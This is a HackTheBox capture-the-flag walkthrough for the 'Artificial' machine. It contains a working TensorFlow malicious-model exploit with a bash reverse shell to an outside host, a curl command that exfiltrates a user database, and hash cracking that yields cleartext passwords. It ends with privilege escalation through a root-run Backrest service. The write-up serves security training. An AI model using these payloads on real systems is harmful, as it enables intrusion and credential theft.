Artificial (HTB) - Walkthrough

> July 25, 2025 | HackTheBox

Overview

Exploiting TensorFlow Remote Code Execution with Malicious Model (CVE‑2024‑3660).


Enumeration

Nmap scan

# nmap -sSV -A -T4 -oN NmapScan 10.10.11.74
Nmap scan report for artificial.htb (10.10.11.74)
Host is up (0.14s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 7c:e4:8d:84:c5:de:91:3a:5a:2b:9d:34:ed:d6:99:17 (RSA)
|   256 83:46:2d:cf:73:6d:28:6f:11:d5:1d:b4:88:20:d6:7c (ECDSA)
|_  256 e3:18:2e:3b:40:61:b4:59:87:e8:4a:29:24:0f:6a:fc (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-title: Artificial - AI Solutions
|_http-server-header: nginx/1.18.0 (Ubuntu)
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.19
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 21/tcp)
HOP RTT       ADDRESS
1   297.14 ms 10.10.16.1
2   239.29 ms artificial.htb (10.10.11.74)

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Thu Jul 24 21:41:28 2025 -- 1 IP address (1 host up) scanned in 18.10 seconds
  • So, didn’t find something useful so next to enumerate website.

Artificial HTB main website

Website login page

Website register page

  • After enumerating just found login, register webpage and so by following this. I register new login on /register webpage and after login webpage analyze content.

  • Found requirements.txt and Dockerfile files so i downloaded and read files.

> cat requirements.txt
  tensorflow-cpu==2.13.1

> cat Dockerfile
   FROM python:3.8-slim
   WORKDIR /code
   RUN apt-get update && \
	    apt-get install -y curl && \
	    curl -k -LO https://files.pythonhosted.org/packages/65/ad/4e090ca3b4de53404df9d1247c8a371346737862cfe539e7516fd23149a4/tensorflow_cpu-2.13.1-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl && \
	    rm -rf /var/lib/apt/lists/*
	
   RUN pip install ./tensorflow_cpu-2.13.1-cp38-cp38 manylinux_2_17_x86_64.manylinux2014_x86_64.whl
   ENTRYPOINT ["/bin/bash"]
  • After researching I found tensorflow RCE vulnerability (CVE‑2024‑3660).
  • So by utilizing this CVE we can exploit webapp.

Exploitation

  • First step would be creating docker environment because for RCE there should be using same library version.
# in Dockerfile just add nano on installation path
> apt-get install -y curl nano && \
  • Creating docker image:
    > docker build -t exploit .
    

Docker image building process

  • Now crafting payload so we can get reverse shell.
  • python exploit.py
# exploit code
import tensorflow as tf

def exploit(x):
    import os
    os.system("bash -c 'bash -i >& /dev/tcp/10.10.16.75/4444 0>&1'")
    return x

model = tf.keras.Sequential()
model.add(tf.keras.layers.Input(shape=(64,)))
model.add(tf.keras.layers.Lambda(exploit))
model.compile()
model.save("exploit.h5")
  • Now, run docker image and preparing for exploit.py payload:
# run docker container
> docker run -it exploit

# now copy exploit.py code and paste in this image and execute it
> python exploit.py

# it should create exploit.h5 payload 
# now download this exploit from docker image container to local machine via simple python http server.

Exploit payload generation


We have final payload and now just fireup ncat revshell and upload exploit.h5 to webapp.

  • Fireup ncat:
    > rlwrap ncat -nvlp 4444
    
  • Upload exploit.h5 payload:

Uploading malicious model file

  • By clicking on ‘View Predictions’ we can finally get reverse shell.

Getting reverse shell connection

Yep, we got internal access.. now time for Post-Exploitation


Post-Exploitation

  • Currently we have user app access so we have limited permission so we need to enumerate for higher user access.

[+] Local enumeration

  • Found there is user gael but we don’t have permission to view its content.
app@artificial:~/app$ whoami
whoami
app
app@artificial:~/app$ ls /home/
ls /home/
app
config
data
gael
index
keys
locks
snapshots
app@artificial:~/app$ ls -la /home/gael/
ls -la /home/gael/
ls: cannot open directory '/home/gael/': Permission denied
app@artificial:~/app$ 
  • I noticed in ~/app/instance dir there is users.db file so i downloaded it. For data exfiltration i am using raven tool which is fine and easy to use without breaking shell.

  • On host machine:
    # just type raven ## make sure tool is installed via apt.
    > raven 
    [*] Serving HTTP on 0.0.0.0 port 8080 (http://0.0.0.0:8080/)
    [*] Listener access is unrestricted
    [*] Uploads will be saved in /home/kaulik/Documents/WalkThroughs/Hackthebox/Artificial
    # you can use other popular techniques like python -m http.server and else..
    
  • On compromise host:
    curl -X POST http://10.10.16.75:8080/ -F "file=@users.db;type=application/octet-stream"
    % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                   Dload  Upload   Total   Spent    Left  Speed
    100 25002    0   226  100 24776    142  15661  0:00:01  0:00:01 --:--:-- 15804
    <!DOCTYPE html>
    <html lang="en">
    <head>
    <meta http-equiv="refresh" content="3;url=/" charset="utf-8">
    <title>Redirecting...</title>
    </head>
    <body>
    <p>File uploaded successfully. Redirecting in 3 seconds...</p>
    </body>
    </html>
    

File upload successful

  • Now time to analyze users.db:
> file users.db
users.db: SQLite 3.x database, last written using SQLite version 3031001, file counter 55, database pages 6, cookie 0x2, schema 4, UTF-8, version-valid-for 55
  • So its sqlite database so I am using sqlitebrowser for easy use.
  • sqlitebrowser users.db

  • Now navigate Browse data > select table to ‘user’ and got user and hash.

SQLite database analysis showing user hash

  • Now we have user and hash so next step would be cracking.

Cracking hash

  • Identify hash:
    > hash-identifier c99175974b6e192936d97224638a34f8 
    Possible Hashs:
    [+] MD5
    [+] Domain Cached Credentials - MD4(MD4(($pass)).(strtolower($username)))
    
  • Going with MD5 with john:
    > john gaelhash.txt --wordlist=/usr/share/wordlists/rockyou.txt --format=Raw-MD5
      Using default input encoding: UTF-8
      Loaded 1 password hash (Raw-MD5 [MD5 256/256 AVX2 8x3])
      Warning: no OpenMP support for this hash type, consider --fork=12
      Press 'q' or Ctrl-C to abort, almost any other key for status
      mattp005numbertwo (?)     
      1g 0:00:00:00 DONE (2025-07-25 23:34) 2.564g/s 14670Kp/s 14670Kc/s 14670KC/s mattpapa..mattlvsbree
      Use the "--show --format=Raw-MD5" options to display all of the cracked passwords reliably
      Session completed. 
    

Cracked password

  • User: gael
  • Password: mattp005numbertwo

[+] Getting SSH access and again starting user enumeration

>  ssh gael@10.10.11.74
>  
gael@artificial:~$ whoami
gael
gael@artificial:~$ cat user.txt
XXXXXXXXXXXXXXXXXXXXXXXXXXXX
  • Got user.txt flag now time for root.txt

[*] Privilege Escalation

Enumeration

gael@artificial:~$ netstat -puntl
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name    
tcp        0      0 127.0.0.1:5000          0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:9898          0.0.0.0:*               LISTEN      -                   
tcp        0      0 0.0.0.0:80              0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN      -                   
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -                   
tcp6       0      0 :::80                   :::*                    LISTEN      -                   
tcp6       0      0 :::22                   :::*                    LISTEN      -                   
udp        0      0 127.0.0.53:53           0.0.0.0:*                           -                   
  • There is server running on port 9898 and 5000 so its time to pivoting. So server is running on localhost so need to do pivot for localhost.
  • I am using sshuttle tool:
sshuttle -r gael@10.10.11.74 127.0.0.1/8                                                                                                                  ─╯
[local sudo] Password: 
gael@10.10.11.74's password: 
c : Connected to server.
  • Now we can access compromise machine’s servers via our localhost so head down to http://localhost:9898/
  • After analyze server is running backrest service which is backup utility…

Backrest backup service interface

  • Now I try default creds but not worked so again move forward to enumeration process.
  • So checked /opt dir and there is where backrest is installed with config files but current user has not permission to read so again i level up enumeration and found backup dir in /var/backups with backrest_backup.tar.gz.
gael@artificial:~$ cat config
cat: config: No such file or directory
gael@artificial:~$ 
gael@artificial:~$ cat /opt/config
cat: /opt/config: Permission denied

gael@artificial:~$ ls /var/backups
apt.extended_states.0     apt.extended_states.2.gz  apt.extended_states.4.gz  apt.extended_states.6.gz
apt.extended_states.1.gz  apt.extended_states.3.gz  apt.extended_states.5.gz  backrest_backup.tar.gz
  • Download backrest backup file and unzip it to analyze content.
# on compromise machine (victim)
> python3 -m http.server 8080

# on host
> wget http://10.10.11.74:8080/backrest_backup.tar.gz

# unzip it
> tar -xf backrest_backup.tar.gz 

# there is config file in .config dir 
> cd /backrest/.config/backrest
> cat config.json
 {
  "modno": 2,
  "version": 4,
  "instance": "Artificial",
  "auth": {
    "disabled": false,
    "users": [
      {
        "name": "backrest_root",
        "passwordBcrypt": "JDJhJDEwJGNWR0l5OVZNWFFkMGdNNWdpbkNtamVpMmtaUi9BQ01Na1Nzc3BiUnV0WVA1OEVCWnovMFFP"
      }
    ]
  }
}
  • Now again hash so need to crack it.
  • Its base64 encoded so first decode it and then crack that hash.
> echo "JDJhJDEwJGNWR0l5OVZNWFFkMGdNNWdpbkNtamVpMmtaUi9BQ01Na1Nzc3BiUnV0WVA1OEVCWnovMFFP" | base64 -d | tee -a backrest_root_hash.txt
 $2a$10$cVGIy9VMXQd0gM5ginCmjei2kZR/ACMMkSsspbRutYP58EBZz/0QO

# hash cracking
> john --wordlist=/usr/share/wordlists/rockyou.txt backrest_root_hash.txt
Using default input encoding: UTF-8
Loaded 1 password hash (bcrypt [Blowfish 32/64 X3])
Cost 1 (iteration count) is 1024 for all loaded hashes
Will run 12 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
!@#$%^           (?)     
1g 0:00:00:15 DONE (2025-07-26 00:14) 0.06653g/s 359.2p/s 359.2c/s 359.2C/s techno..huevos
Use the "--show" option to display all of the cracked passwords reliably
Session completed. 
  • Now we have backrest user:pass - backrest_root:!@#$%^

Getting root.txt

  • Login with cracked credentials.
  • Add repo with your choice of password and click submit.

Adding repository to backrest

  • Here i made repo1 with pass 12345.

  • Next step would be backing up /root because backrest is running as root so it is capable of backing up root.

Backrest backup interface

  • Go to repo 1 > run command:
# first make snapshot (backup) of /root
run command : backup /root

Creating backup snapshot of root directory

  • Copy snapshot id and now execute next command to capture root flag.
dump 304acc04 /root/root.txt # paste your id or latest

Dumping root flag content


Got root flag! Enjoy..


tools used

  • nmap
  • ncat
  • python
  • docker
  • tensorflow

Resources

  • https://splint.gitbook.io/cyberblog/security-research/tensorflow-remote-code-execution-with-malicious-model
  • https://github.com/Splinter0/tensorflow-rce